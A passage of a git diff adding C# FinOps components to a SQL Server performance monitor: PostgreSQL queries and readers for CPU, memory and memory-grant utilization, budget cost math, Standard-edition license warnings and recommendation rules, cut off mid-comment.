+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = databaseName });
+        command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = schemaName });
+        command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = tableName });
+
+        var items = new List<IndexUsageDto>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            items.Add(new IndexUsageDto(
+                DatabaseName: reader.IsDBNull(0) ? "" : reader.GetString(0),
+                SchemaName: reader.IsDBNull(1) ? "" : reader.GetString(1),
+                TableName: reader.IsDBNull(2) ? "" : reader.GetString(2),
+                IndexName: reader.IsDBNull(3) ? "(heap)" : reader.GetString(3),
+                IndexTypeDesc: reader.IsDBNull(4) ? "" : reader.GetString(4),
+                IndexId: reader.IsDBNull(5) ? 0 : Convert.ToInt32(reader.GetValue(5)),
+                ReservedMb: reader.IsDBNull(6) ? 0m : Convert.ToDecimal(reader.GetValue(6)),
+                TotalRows: reader.IsDBNull(7) ? 0L : Convert.ToInt64(reader.GetValue(7)),
+                UserSeeks: reader.IsDBNull(8) ? 0L : Convert.ToInt64(reader.GetValue(8)),
+                UserScans: reader.IsDBNull(9) ? 0L : Convert.ToInt64(reader.GetValue(9)),
+                UserLookups: reader.IsDBNull(10) ? 0L : Convert.ToInt64(reader.GetValue(10)),
+                TotalReads: reader.IsDBNull(11) ? 0L : Convert.ToInt64(reader.GetValue(11)),
+                UserUpdates: reader.IsDBNull(12) ? 0L : Convert.ToInt64(reader.GetValue(12)),
+                /* last_user_seek/scan/lookup/update (sys.dm_db_index_usage_stats) are SERVER-LOCAL in the
+                   store, not naive UTC, so this GREATEST is read verbatim like Lite — NOT through
+                   ViewerTimeHelper.ForDisplay (which assumes naive UTC and, in Local/Server mode, would shift it). */
+                LastUserAccess: reader.IsDBNull(13) ? null : reader.GetDateTime(13),
+                Classification: reader.IsDBNull(14) ? "" : reader.GetString(14),
+                /* collection_time is the store's naive UTC stamp; the anchor equality makes it non-null. */
+                CollectionTime: DateTime.SpecifyKind(reader.GetDateTime(15), DateTimeKind.Utc)));
+        }
+        return items;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsUtilizationReader.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsUtilizationReader.cs
new file mode 100644
index 0000000000..0d23ff45d3
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsUtilizationReader.cs
@@ -0,0 +1,364 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>Utilization efficiency summary for one server over the last 24 hours. No display or WPF state.</summary>
+public sealed record UtilizationEfficiencyDto(
+    decimal AvgCpuPct,
+    int MaxCpuPct,
+    decimal P95CpuPct,
+    long CpuSamples,
+    int TotalMemoryMb,
+    int TargetMemoryMb,
+    int PhysicalMemoryMb,
+    int BufferPoolMb,
+    decimal MemoryRatio,
+    long MaxGrantWaiters,
+    long GrantTimeouts,
+    long ForcedGrants,
+    decimal GrantUtilizationPct,
+    int MaxWorkersCount,
+    int? CurrentWorkersCount,
+    int CpuCount,
+    int EngineEdition,
+    string ProvisioningStatus);
+
+/// <summary>One day of the 7-day provisioning classification trend. <paramref name="Day"/> is a naive-UTC date.</summary>
+public sealed record ProvisioningTrendDto(
+    DateTime Day,
+    decimal AvgCpuPct,
+    int MaxCpuPct,
+    decimal P95CpuPct,
+    decimal MemoryRatio,
+    string Status);
+
+/// <summary>One day of pool-level memory-grant vs used efficiency. <paramref name="Day"/> is a naive-UTC date.</summary>
+public sealed record MemoryGrantEfficiencyDto(
+    DateTime Day,
+    decimal AvgGrantedMb,
+    decimal AvgUsedMb,
+    decimal EfficiencyPct,
+    decimal PeakGrantedMb,
+    long TotalGrantees,
+    long TotalWaiters,
+    long TimeoutErrors,
+    long ForcedGrants);
+
+/// <summary>
+/// The FinOps Utilization reads (utilization efficiency, 7-day provisioning trend, memory-grant efficiency) as plain
+/// DTOs with naive-UTC times, shared by the viewer and any other reader of the store. The DuckDB→PG rewrite of
+/// Lite's <c>LocalDataService.FinOps.Utilization.cs</c> is near-verbatim (positional <c>$1/$2</c> params,
+/// PERCENTILE_CONT, <c>CAST(... AS DECIMAL(p,s))</c>, and <c>LEFT JOIN ... ON true</c> all run identically on PG); the
+/// ONE substantive change is that Lite's <c>server_info</c> CTE reads <c>v_server_properties</c>, which Darling has no
+/// view for, so it reads the collected <c>server_properties</c> base table directly (bare name resolves through the
+/// connection's Search Path). SQL kept in <c>public const</c> so tests pin it.
+/// </summary>
+public static class DarlingFinOpsUtilizationReader
+{
+    /// <summary>
+    /// Utilization efficiency from cpu_utilization_stats + memory_stats (last 24h) + latest
+    /// server_properties for the core count. $1 server_id, $2 cutoff (naive UTC).
+    /// </summary>
+    public const string UtilizationEfficiencySql = @"
+WITH cpu_stats AS (
+    SELECT
+        AVG(CAST(sqlserver_cpu_utilization AS DECIMAL(5,2))) AS avg_cpu_pct,
+        MAX(sqlserver_cpu_utilization) AS max_cpu_pct,
+        PERCENTILE_CONT(0.95) WITHIN GROUP (ORDER BY sqlserver_cpu_utilization) AS p95_cpu_pct,
+        COUNT(*) AS cpu_samples
+    FROM v_cpu_utilization_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+),
+mem_latest AS (
+    SELECT
+        total_server_memory_mb,
+        target_server_memory_mb,
+        total_physical_memory_mb,
+        buffer_pool_mb,
+        max_workers_count,
+        current_workers_count,
+        CAST(total_server_memory_mb AS DECIMAL(10,2)) / NULLIF(target_server_memory_mb, 0) AS memory_ratio
+    FROM v_memory_stats
+    WHERE server_id = $1
+    ORDER BY collection_time DESC
+    LIMIT 1
+),
+/* cpu_count is the count CPU percent is measured against. On an Azure SQL Database (engine_edition 5) the stored cpu_count
+   is the number of schedulers the database can see (a 1-vCore serverless database read 2), not what it is given, so there it
+   is the vcore_count parsed from the service objective, and NULL for an objective that names no vCores (a DTU-model objective
+   or an elastic pool): never the scheduler count. Every other edition reads as it always did. The same CASE is in the Lite read. */
+server_info AS (
+    SELECT CASE WHEN engine_edition = 5 THEN vcore_count ELSE COALESCE(vcore_count, cpu_count) END AS cpu_count, engine_edition, edition
+    FROM server_properties
+    WHERE server_id = $1
+    ORDER BY collection_time DESC
+    LIMIT 1
+),
+/* Workspace-memory pressure, which is what being short of memory actually looks like: a query asked the
+   resource semaphore for a grant and did not simply get it. Counts of events, so no threshold to tune
+   (#2246). The utilization peak rides along to stop a CPU-quiet server that is straining its semaphore
+   from being called idle. */
+grants AS (
+    SELECT
+        MAX(waiter_count) AS max_grant_waiters,
+        SUM(COALESCE(timeout_error_count_delta, 0)) AS grant_timeouts,
+        SUM(COALESCE(forced_grant_count_delta, 0)) AS forced_grants,
+        MAX(100.0 * granted_memory_mb / NULLIF(target_memory_mb, 0)) AS grant_utilization_pct
+    FROM v_memory_grant_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+)
+SELECT
+    c.avg_cpu_pct,
+    c.max_cpu_pct,
+    c.p95_cpu_pct,
+    c.cpu_samples,
+    m.total_server_memory_mb,
+    m.target_server_memory_mb,
+    m.total_physical_memory_mb,
+    m.buffer_pool_mb,
+    m.memory_ratio,
+    m.max_workers_count,
+    m.current_workers_count,
+    s.cpu_count,
+    COALESCE(g.max_grant_waiters, 0),
+    COALESCE(g.grant_timeouts, 0),
+    COALESCE(g.forced_grants, 0),
+    COALESCE(g.grant_utilization_pct, 0),
+    s.engine_edition,
+    s.edition
+FROM cpu_stats c
+CROSS JOIN mem_latest m
+LEFT JOIN server_info s ON true
+LEFT JOIN grants g ON true";
+
+    /// <summary>7-day daily provisioning classification trend. $1 server_id, $2 cutoff (naive UTC).</summary>
+    public const string ProvisioningTrendSql = @"
+WITH daily_cpu AS (
+    SELECT
+        CAST(collection_time AS DATE) AS day,
+        AVG(CAST(sqlserver_cpu_utilization AS DECIMAL(5,2))) AS avg_cpu_pct,
+        MAX(sqlserver_cpu_utilization) AS max_cpu_pct,
+        PERCENTILE_CONT(0.95) WITHIN GROUP (ORDER BY sqlserver_cpu_utilization) AS p95_cpu_pct
+    FROM v_cpu_utilization_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    GROUP BY CAST(collection_time AS DATE)
+),
+daily_mem AS (
+    SELECT
+        CAST(collection_time AS DATE) AS day,
+        AVG(CAST(total_server_memory_mb AS DECIMAL(10,2)) / NULLIF(target_server_memory_mb, 0)) AS avg_memory_ratio,
+        MAX(max_workers_count) AS max_workers_count,
+        MAX(current_workers_count) AS current_workers_count
+    FROM v_memory_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    GROUP BY CAST(collection_time AS DATE)
+),
+/* Same pressure signals as the point-in-time read, per day, so a day cannot be classified by a rule
+   the current verdict does not use (#2246). */
+daily_grants AS (
+    SELECT
+        CAST(collection_time AS DATE) AS day,
+        MAX(waiter_count) AS max_grant_waiters,
+        SUM(COALESCE(timeout_error_count_delta, 0)) AS grant_timeouts,
+        SUM(COALESCE(forced_grant_count_delta, 0)) AS forced_grants,
+        MAX(100.0 * granted_memory_mb / NULLIF(target_memory_mb, 0)) AS grant_utilization_pct
+    FROM v_memory_grant_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    GROUP BY CAST(collection_time AS DATE)
+)
+SELECT
+    c.day,
+    c.avg_cpu_pct,
+    c.max_cpu_pct,
+    c.p95_cpu_pct,
+    COALESCE(m.avg_memory_ratio, 0),
+    COALESCE(g.max_grant_waiters, 0),
+    COALESCE(g.grant_timeouts, 0),
+    COALESCE(g.forced_grants, 0),
+    COALESCE(g.grant_utilization_pct, 0),
+    COALESCE(m.max_workers_count, 0),
+    m.current_workers_count,
+    sp.engine_edition,
+    sp.edition
+FROM daily_cpu c
+LEFT JOIN daily_mem m ON m.day = c.day
+LEFT JOIN daily_grants g ON g.day = c.day
+LEFT JOIN (
+    SELECT engine_edition, edition
+    FROM server_properties
+    WHERE server_id = $1
+    ORDER BY collection_time DESC
+    LIMIT 1
+) sp ON true
+ORDER BY c.day";
+
+    /// <summary>
+    /// Memory-grant vs used efficiency per day from resource-semaphore snapshots (Optimization sub-tab).
+    /// $1 server_id, $2 cutoff (naive UTC).
+    /// </summary>
+    public const string MemoryGrantEfficiencySql = @"
+SELECT
+    CAST(collection_time AS DATE) AS day,
+    AVG(granted_memory_mb) AS avg_granted_mb,
+    AVG(used_memory_mb) AS avg_used_mb,
+    CAST(AVG(used_memory_mb) * 100.0 / NULLIF(AVG(granted_memory_mb), 0) AS DECIMAL(5,1)) AS efficiency_pct,
+    MAX(granted_memory_mb) AS peak_granted_mb,
+    SUM(grantee_count) AS total_grantees,
+    SUM(waiter_count) AS total_waiters,
+    SUM(timeout_error_count_delta) AS timeout_errors,
+    SUM(forced_grant_count_delta) AS forced_grants
+FROM v_memory_grant_stats
+WHERE server_id = $1
+AND   collection_time >= $2
+GROUP BY CAST(collection_time AS DATE)
+ORDER BY CAST(collection_time AS DATE)";
+
+    /// <summary>The last-24-hour utilization efficiency, or <c>null</c> when the store has no row to join.</summary>
+    public static async Task<UtilizationEfficiencyDto?> GetUtilizationEfficiencyAsync(
+        NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        var cutoff = DateTime.UtcNow.AddHours(-24);
+
+        await using var command = dataSource.CreateCommand(UtilizationEfficiencySql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (!await reader.ReadAsync(cancellationToken)) return null;
+        var avgCpu = reader.IsDBNull(0) ? 0m : Convert.ToDecimal(reader.GetValue(0));
+        var maxCpu = reader.IsDBNull(1) ? 0 : Convert.ToInt32(reader.GetValue(1));
+        var p95Cpu = reader.IsDBNull(2) ? 0m : Convert.ToDecimal(reader.GetValue(2));
+        var memRatio = reader.IsDBNull(8) ? 0m : Convert.ToDecimal(reader.GetValue(8));
+
+        var maxWorkers = reader.IsDBNull(9) ? 0 : Convert.ToInt32(reader.GetValue(9));
+        /* NULL is "not collected" (an Azure SQL Database), not 0 workers in use: it shows as n/a and the verdict reads it as unknown. */
+        int? currentWorkers = reader.IsDBNull(10) ? null : Convert.ToInt32(reader.GetValue(10));
+
+        /* memory_ratio is still SELECTed and still displayed — it is a real fact about the instance — but it
+           is no longer part of the verdict: Total over Target Server Memory converges at 1.0 on any warmed
+           server, so it reported every server as under-provisioned (#2246).
+
+           A window with no CPU sample at all has no verdict: its NULL average read as 0% CPU would call the
+           server OVER_PROVISIONED. The row's empty status is its no-verdict value; the tab shows "No Data". */
+        var status = reader.IsDBNull(0) ? "" : ProvisioningVerdict.Evaluate(
+            avgCpu, maxCpu, p95Cpu,
+            maxGrantWaiters: reader.IsDBNull(12) ? 0L : Convert.ToInt64(reader.GetValue(12)),
+            grantTimeouts: reader.IsDBNull(13) ? 0L : Convert.ToInt64(reader.GetValue(13)),
+            forcedGrants: reader.IsDBNull(14) ? 0L : Convert.ToInt64(reader.GetValue(14)),
+            grantUtilizationPercent: reader.IsDBNull(15) ? 0m : Convert.ToDecimal(reader.GetValue(15)),
+            maxWorkers: maxWorkers,
+            currentWorkers: currentWorkers,
+            engineEdition: reader.IsDBNull(16) ? null : Convert.ToInt32(reader.GetValue(16)),
+            edition: reader.IsDBNull(17) ? null : reader.GetString(17));
+
+        return new UtilizationEfficiencyDto(
+            AvgCpuPct: avgCpu,
+            MaxCpuPct: maxCpu,
+            P95CpuPct: p95Cpu,
+            CpuSamples: reader.IsDBNull(3) ? 0L : Convert.ToInt64(reader.GetValue(3)),
+            TotalMemoryMb: reader.IsDBNull(4) ? 0 : Convert.ToInt32(reader.GetValue(4)),
+            TargetMemoryMb: reader.IsDBNull(5) ? 0 : Convert.ToInt32(reader.GetValue(5)),
+            PhysicalMemoryMb: reader.IsDBNull(6) ? 0 : Convert.ToInt32(reader.GetValue(6)),
+            BufferPoolMb: reader.IsDBNull(7) ? 0 : Convert.ToInt32(reader.GetValue(7)),
+            MemoryRatio: memRatio,
+            MaxGrantWaiters: reader.IsDBNull(12) ? 0L : Convert.ToInt64(reader.GetValue(12)),
+            GrantTimeouts: reader.IsDBNull(13) ? 0L : Convert.ToInt64(reader.GetValue(13)),
+            ForcedGrants: reader.IsDBNull(14) ? 0L : Convert.ToInt64(reader.GetValue(14)),
+            GrantUtilizationPct: reader.IsDBNull(15) ? 0m : Convert.ToDecimal(reader.GetValue(15)),
+            MaxWorkersCount: maxWorkers,
+            CurrentWorkersCount: currentWorkers,
+            CpuCount: reader.IsDBNull(11) ? 0 : Convert.ToInt32(reader.GetValue(11)),
+            EngineEdition: reader.IsDBNull(16) ? 0 : Convert.ToInt32(reader.GetValue(16)),
+            ProvisioningStatus: status);
+    }
+
+    /// <summary>The 7-day daily provisioning classification trend, oldest day first.</summary>
+    public static async Task<List<ProvisioningTrendDto>> GetProvisioningTrendAsync(
+        NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        var cutoff = DateTime.UtcNow.AddDays(-7);
+
+        await using var command = dataSource.CreateCommand(ProvisioningTrendSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
+
+        var items = new List<ProvisioningTrendDto>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            var avgCpu = reader.IsDBNull(1) ? 0m : Convert.ToDecimal(reader.GetValue(1));
+            var maxCpu = reader.IsDBNull(2) ? 0 : Convert.ToInt32(reader.GetValue(2));
+            var p95Cpu = reader.IsDBNull(3) ? 0m : Convert.ToDecimal(reader.GetValue(3));
+            var memRatio = reader.IsDBNull(4) ? 0m : Convert.ToDecimal(reader.GetValue(4));
+
+            var status = ProvisioningVerdict.Evaluate(
+                avgCpu, maxCpu, p95Cpu,
+                maxGrantWaiters: reader.IsDBNull(5) ? 0L : Convert.ToInt64(reader.GetValue(5)),
+                grantTimeouts: reader.IsDBNull(6) ? 0L : Convert.ToInt64(reader.GetValue(6)),
+                forcedGrants: reader.IsDBNull(7) ? 0L : Convert.ToInt64(reader.GetValue(7)),
+                grantUtilizationPercent: reader.IsDBNull(8) ? 0m : Convert.ToDecimal(reader.GetValue(8)),
+                maxWorkers: reader.IsDBNull(9) ? 0 : Convert.ToInt32(reader.GetValue(9)),
+                currentWorkers: reader.IsDBNull(10) ? (int?)null : Convert.ToInt32(reader.GetValue(10)),
+                engineEdition: reader.IsDBNull(11) ? null : Convert.ToInt32(reader.GetValue(11)),
+                edition: reader.IsDBNull(12) ? null : reader.GetString(12));
+
+            items.Add(new ProvisioningTrendDto(
+                reader.GetDateTime(0),
+                avgCpu,
+                maxCpu,
+                p95Cpu,
+                memRatio,
+                status));
+        }
+        return items;
+    }
+
+    /// <summary>Memory-grant vs used efficiency per day over the last <paramref name="hoursBack"/> hours.</summary>
+    public static async Task<List<MemoryGrantEfficiencyDto>> GetMemoryGrantEfficiencyAsync(
+        NpgsqlDataSource dataSource, int serverId, int hoursBack, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        var cutoff = DateTime.UtcNow.AddHours(-hoursBack);
+
+        await using var command = dataSource.CreateCommand(MemoryGrantEfficiencySql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
+
+        var items = new List<MemoryGrantEfficiencyDto>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            items.Add(new MemoryGrantEfficiencyDto(
+                reader.GetDateTime(0),
+                reader.IsDBNull(1) ? 0m : Convert.ToDecimal(reader.GetValue(1)),
+                reader.IsDBNull(2) ? 0m : Convert.ToDecimal(reader.GetValue(2)),
+                reader.IsDBNull(3) ? 0m : Convert.ToDecimal(reader.GetValue(3)),
+                reader.IsDBNull(4) ? 0m : Convert.ToDecimal(reader.GetValue(4)),
+                reader.IsDBNull(5) ? 0 : Convert.ToInt64(reader.GetValue(5)),
+                reader.IsDBNull(6) ? 0 : Convert.ToInt64(reader.GetValue(6)),
+                reader.IsDBNull(7) ? 0 : Convert.ToInt64(reader.GetValue(7)),
+                reader.IsDBNull(8) ? 0 : Convert.ToInt64(reader.GetValue(8))));
+        }
+        return items;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsCost.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsCost.cs
new file mode 100644
index 0000000000..9001ba8633
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsCost.cs
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>
+/// FinOps cost math shared by the viewer and the service. Every method keeps the operand order and the decimal
+/// types of the expression it replaces, so results are identical to the last digit.
+/// </summary>
+public static class FinOpsCost
+{
+    /// <summary>Hours in a billing month (365 * 24 / 12 = 730), the divisor that scales a monthly budget to a window.</summary>
+    internal const decimal HoursPerMonth = 730.0m;
+
+    /// <summary>The monthly budget scaled to a window of <paramref name="hoursBack"/> hours.</summary>
+    public static decimal WindowBudget(decimal monthly, int hoursBack) => monthly * (hoursBack / HoursPerMonth);
+
+    /// <summary><paramref name="part"/> as a fraction of <paramref name="total"/>, times the window budget. <paramref name="total"/> must be greater than 0; callers check it first, so the division never throws.</summary>
+    public static decimal Share(decimal part, decimal total, decimal budget) => (part / total) * budget;
+
+    /// <summary>A database's share of the monthly cost by allocated size. <paramref name="totalMb"/> must be greater than 0; callers check it first, so the division never throws.</summary>
+    public static decimal StorageShare(decimal sizeMb, decimal totalMb, decimal monthly) => (sizeMb / totalMb) * monthly;
+
+    /// <summary>The annual cost of a monthly cost.</summary>
+    public static decimal Annual(decimal monthly) => monthly * 12m;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsInventoryFigures.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsInventoryFigures.cs
new file mode 100644
index 0000000000..91f94fed30
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsInventoryFigures.cs
@@ -0,0 +1,52 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>
+/// The figures the Server Inventory derives from the collected server properties and metrics: the
+/// Standard-edition license warning, and the Azure SQL Database hardware blanks and note. The health band is
+/// <see cref="FinOpsUtilizationFigures.HealthBand"/>.
+/// </summary>
+public static class FinOpsInventoryFigures
+{
+    /// <summary>
+    /// The license-limit warning for Standard edition (over 24 CPUs or 128 GB of memory), or null. The memory is the
+    /// stored figure; where the engine edition's hardware columns are the host's it is blanked first, so no RAM warning
+    /// can come from a host's memory.
+    /// </summary>
+    public static string? LicenseWarning(string? edition, int engineEdition, int cpuCount, long storedPhysicalMemoryMb)
+    {
+        var physicalMemoryMb = PhysicalMemoryMb(engineEdition, storedPhysicalMemoryMb);
+        if (edition is null || !edition.Contains("Standard", StringComparison.OrdinalIgnoreCase)) return null;
+        var warnings = new List<string>();
+        if (cpuCount > 24) warnings.Add($"CPU: {cpuCount} cores (Standard limited to 24)");
+        if (physicalMemoryMb is long ramMb && ramMb > 131072) warnings.Add($"RAM: {ramMb / 1024}GB (Standard limited to 128GB)");
+        return warnings.Count > 0 ? string.Join("; ", warnings) : null;
+    }
+
+    /// <summary>The stored physical memory, or null when the engine edition's hardware columns are the host's.</summary>
+    public static long? PhysicalMemoryMb(int engineEdition, long stored) =>
+        ServerHardwareScope.HardwareIsTheHosts(engineEdition) ? null : stored;
+
+    /// <summary>The stored socket count, or null when the engine edition's hardware columns are the host's.</summary>
+    public static int? SocketCount(int engineEdition, int? stored) =>
+        ServerHardwareScope.HardwareIsTheHosts(engineEdition) ? null : stored;
+
+    /// <summary>The stored cores per socket, or null when the engine edition's hardware columns are the host's.</summary>
+    public static int? CoresPerSocket(int engineEdition, int? stored) =>
+        ServerHardwareScope.HardwareIsTheHosts(engineEdition) ? null : stored;
+
+    /// <summary>The stored hardware note, else the host-scoped note when the hardware columns are the host's, else null.</summary>
+    public static string? HardwareNote(int engineEdition, string? stored) =>
+        stored ?? (ServerHardwareScope.HardwareIsTheHosts(engineEdition) ? ServerHardwareScope.InventoryHardwareNote : null);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsRecommendationFigures.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsRecommendationFigures.cs
new file mode 100644
index 0000000000..8207967700
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsRecommendationFigures.cs
@@ -0,0 +1,582 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>One FinOps recommendation: category, severity, confidence, the finding and its detail, and the estimated monthly savings when there is one.</summary>
+public sealed record FinOpsRecommendation(
+    string Category, string Severity, string Confidence, string Finding, string Detail, decimal? EstMonthlySavings)
+{
+    /// <summary>An empty recommendation, filled in through the initializer.</summary>
+    public FinOpsRecommendation() : this("", "", "", "", "", null)
+    {
+    }
+}
+
+/// <summary>One database's collected encryption state.</summary>
+public sealed record DatabaseEncryptionFact(string DatabaseName, string StateDesc, bool IsEncrypted);
+
+/// <summary>One database's I/O totals over the storage-tier window.</summary>
+public sealed record StorageTierIo(
+    string DatabaseName, long TotalReads, long TotalStallReadMs, long TotalWrites, long TotalStallWriteMs,
+    DateTime? FirstSample, DateTime? LastSample, long WindowSamples);
+
+/// <summary>One maintenance job's recent and historical run durations.</summary>
+public sealed record MaintenanceJobRun(
+    string JobName, long AvgDurationSeconds, long MaxDurationSeconds, long AvgHistoricalSeconds, int TimesRanLong);
+
+/// <summary>The FinOps recommendation rules, as pure functions of collected figures.</summary>
+public static class FinOpsRecommendationFigures
+{
+    /// <summary>The four system databases (master/model/msdb/tempdb) — Lite's <c>database_id &gt; 4</c> filter by name.</summary>
+    public static readonly IReadOnlySet<string> SystemDatabases =
+        new HashSet<string>(StringComparer.OrdinalIgnoreCase) { "master", "model", "msdb", "tempdb" };
+
+    /// <summary>The sort key for a severity: High first, then Medium, Low, and anything else last.</summary>
+    public static int SeveritySort(string severity) => severity switch
+    {
+        "High" => 1,
+        "Medium" => 2,
+        "Low" => 3,
+        _ => 4
+    };
+
+    /// <summary>The recommendations in severity order. The sort is stable, so the check order holds within a severity.</summary>
+    public static List<FinOpsRecommendation> Ordered(IEnumerable<FinOpsRecommendation> recommendations) =>
+        recommendations.OrderBy(r => SeveritySort(r.Severity)).ToList();
+
+    /// <summary>Human-readable duration formatting for the maintenance-window finding (Lite's FinOps FormatDuration, verbatim).</summary>
+    public static string FormatDuration(long seconds)
+    {
+        if (seconds >= 3600)
+            return $"{seconds / 3600}h {(seconds % 3600) / 60}m {seconds % 60}s";
+        if (seconds >= 60)
+            return $"{seconds / 60}m {seconds % 60}s";
+        return $"{seconds}s";
+    }
+
+    /// <summary>
+    /// Selects the databases running Transparent Data Encryption from a collected database-config snapshot — the
+    /// monitor-side stand-in for Lite's live <c>dm_db_persisted_sku_features</c> probe: <c>is_encrypted = true</c>
+    /// marks a TDE database. System databases (Lite's <c>database_id &gt; 4</c>) and non-ONLINE databases are
+    /// excluded, mirroring Lite's probe. Ordered by name for stable output.
+    /// </summary>
+    public static List<string> SelectTdeDatabaseNames(IEnumerable<DatabaseEncryptionFact> configRows) =>
+        configRows
+            .Where(r => r.IsEncrypted
+                && string.Equals(r.StateDesc, "ONLINE", StringComparison.OrdinalIgnoreCase)
+                && !SystemDatabases.Contains(r.DatabaseName))
+            .Select(r => r.DatabaseName)
+            .OrderBy(n => n, StringComparer.OrdinalIgnoreCase)
+            .ToList();
+
+    /// <summary>
+    /// Matches the collected database names against Lite's dev/test name patterns (<c>%dev% / %test% / %staging% /
+    /// %qa%</c>, case-insensitive) excluding the system databases (Lite's <c>database_id &gt; 4</c>). Pure so the
+    /// pattern logic is unit-testable without a store.
+    /// </summary>
+    public static List<string> MatchDevTestDatabases(IEnumerable<string> databaseNames)
+    {
+        static bool IsDevTest(string name) =>
+            name.Contains("dev", StringComparison.OrdinalIgnoreCase)
+            || name.Contains("test", StringComparison.OrdinalIgnoreCase)
+            || name.Contains("staging", StringComparison.OrdinalIgnoreCase)
+            || name.Contains("qa", StringComparison.OrdinalIgnoreCase);
+
+        return databaseNames
+            .Where(n => !SystemDatabases.Contains(n) && IsDevTest(n))
+            .ToList();
+    }
+
+    /// <summary>
+    /// True for an edition that is paid for as Enterprise, the only editions the licensing advice ("Enterprise may not be
+    /// required", the downgrade savings) can apply to. A Developer or Evaluation edition (including "Enterprise Developer Edition"
+    /// and "Enterprise Evaluation Edition") has no license fee to save, and Express is never Enterprise, so none of the three gets
+    /// licensing advice. Lite's recommendation reads the same rule.
+    /// </summary>
+    public static bool EditionNeedsLicensingAdvice(string? edition) =>
+        !string.IsNullOrEmpty(edition)
+        && edition.Contains("Enterprise", StringComparison.OrdinalIgnoreCase)
+        && !edition.Contains("Developer", StringComparison.OrdinalIgnoreCase)
+        && !edition.Contains("Evaluation", StringComparison.OrdinalIgnoreCase)
+        && !edition.Contains("Express", StringComparison.OrdinalIgnoreCase);
+
+    /// <summary>How long the 7-day CPU right-sizing rule's samples must span before it may speak: its window is 7 days, and a first collect backfills only minutes.</summary>
+    public static readonly TimeSpan CpuRightSizingMinSpan = TimeSpan.FromHours(24);
+
+    /// <summary>True when the 7-day rule's CPU samples spanning <paramref name="span"/> are enough for advice: a full day, so the advice is not read off the minutes a first collect backfills.</summary>
+    public static bool CpuSamplesSpanEnough(TimeSpan span) => span >= CpuRightSizingMinSpan;
+
+    /// <summary>How old the oldest CPU sample inside the last 24 hours must be before the 24-hour rule (CPU over-provisioned) may speak.</summary>
+    public static readonly TimeSpan Cpu24HourRuleMinOldestAge = TimeSpan.FromHours(23);
+
+    /// <summary>
